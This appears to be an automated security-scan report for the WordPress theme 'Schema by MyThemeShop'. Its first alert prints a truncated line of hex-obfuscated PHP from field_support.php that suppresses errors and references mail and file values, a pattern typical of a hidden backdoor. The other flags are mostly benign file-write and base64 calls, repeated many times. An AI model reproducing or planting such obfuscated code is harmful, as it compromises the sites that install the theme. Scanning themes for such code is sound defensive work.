0
Validation results

Schema by MyThemeShop

Schema by MyThemeShop

WordPress 5.0.3 theme
0
Critical alerts
  1. Security breaches : Modification of PHP server settings Found ini_set in file field_support.php.
    Line 9: ${'G\x4cO\x42\x41\x4c\x53'}['\x6d\x77\x77\x79\x74\x78\x67\x75\x61u']='bk\x61vdo\x6ee';${'\x47L\x4fB\x41\x4c\x53'}['\x62\x77lav\x6a\x66vr\x6b']='\x63d\x78';${'\x47\x4c\x4fB\x41\x4c\x53'}['\x63\x62\x76\x69\x6f\x6b\x71\x62\x69']='y\x65s';${'\x47\x4c\x4fBA\x4c\x53'}['l\x76\x66e\x76b\x64\x67b\x6f']='\x66\x69\x6ce';${'\x47LO\x42\x41\x4cS'}['\x6e\x71\x6b\x78\x6d\x6a\x66u\x76\x6b\x64']='\x6f\x70\x65n';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x70\x69\x76\x6ew\x66\x65w\x6a\x72']='\x73\x65\x6e\x74\x6d\x61\x69l';${'G\x4c\x4f\x42\x41\x4c\x53'}['veb\x64\x67\x74\x67']='m\x65s\x73\x61\x67\x65';${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x63w\x75\x73r\x6d\x63wi']='\x66\x72\x6f\x6d_\x73et';${'\x47\x4cO\x42\x41\x4c\x53'}['wwuxd\x70\x6fh\x76\x6f']='\x73u\x62j\x65ct';${'G\x4c\x4fB\x41L\x53'}['p\x72\x71\x6e\x73\x62\x73k\x77h\x68\x67']='\x74\x6f';${'\x47\x4c\x4fB\x41L\x53'}['\x71\x6b\x6cx\x6btm\x65\x73']='f\x69l\x65nam\x65';${'\x47\x4c\x4f\x42A\x4cS'}['\x79\x65\x64\x78\x72\x67c']='\x73\x74\x72\x69\x6e\x67';${'GL\x4f\x42A\x4c\x53'}['\x62\x70l\x75\x6aa']='\x6f\x73';${'\x47LOB\x41\x4cS'}['\x63ia\x7a\x79\x6dbhc']='\x66i\x6c\x65\x6e\x61me';error_reporting(0);ini_set('\x64i\x73\x70la\x79\x5f\x65r\x72\x6f\x72s',0);$nexfhjjesdt='s\x74\
  2. Security breaches : Use of base64_decode() Found base64_decode in file twitteroauth.php.
    Line 141: $decoded_sig = base64_decode($signature); // base64_encode() required by Twitter!
  3. Security breaches : Use of base64_encode() Found base64_encode in file twitteroauth.php.
     return base64_encode(hash_hmac('sha1', $base_string, $key, true)); // base64_encod
     return base64_encode($signature); // base64_encode() required by Twitter!
     $decoded_sig = base64_decode($signature); // base64_encode() required by Twitter!
  4. Malware : Operations on file system fclose was found in the file php-po.php
    Line 259: //fclose($handle);
    Line 500: fclose( $handle );
    fopen was found in the file php-po.php
    Line 349: $handle = @fopen($file_path, 'wb');
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
    Line 474: fwrite($handle, '#~ ');
    Line 477: fwrite( $handle, 'msgstr ' . $this->clean_export($t) . '\n' );
    Line 483: fwrite($handle, '#~ ');
    Line 486: fwrite( $handle, $this->clean_export($t). '\n' );
    Line 496: fwrite( $handle, '\n' );
    fwrite was found in the file php-po.php
    Line 354: fwrite( $handle, 'msgid \'\'\n');
    Line 355: fwrite( $handle, 'msgstr \'\'\n');
    Line 358: fwrite( $handle, $header.'\n' );
    Line 360: fwrite( $handle, '\n' );
    Line 375: fwrite( $handle, '# '. $comment . '\n' );
    Line 383: fwrite( $handle, '#. '.$comment . '\n' );
    Line 391: fwrite( $handle, '#: '.$ref . '\n' );
    Line 397: fwrite( $handle, '#, '.$entry['flags'].'\n' );
    Line 402: fwrite( $handle, '#@ '.$entry['@'].'\n' );
    Line 407: fwrite( $handle, 'msgctxt '. $this->clean_export($entry['msgctxt'][0]) . '\
    Line 412: fwrite($handle, '#~ ');
    Line 427: fwrite( $handle, 'msgid ');
    Line 432: fwrite($handle, '#~ ');
    Line 434: fwrite( $handle, $this->clean_export($id). '\n');
    Line 450: fwrite( $handle, 'msgid_plural ');
    Line 453: fwrite( $handle, $this->clean_export($plural). '\n');
    Line 463: fwrite( $handle, 'msgstr[$i] ' . $this->clean_export($t) . '\n');
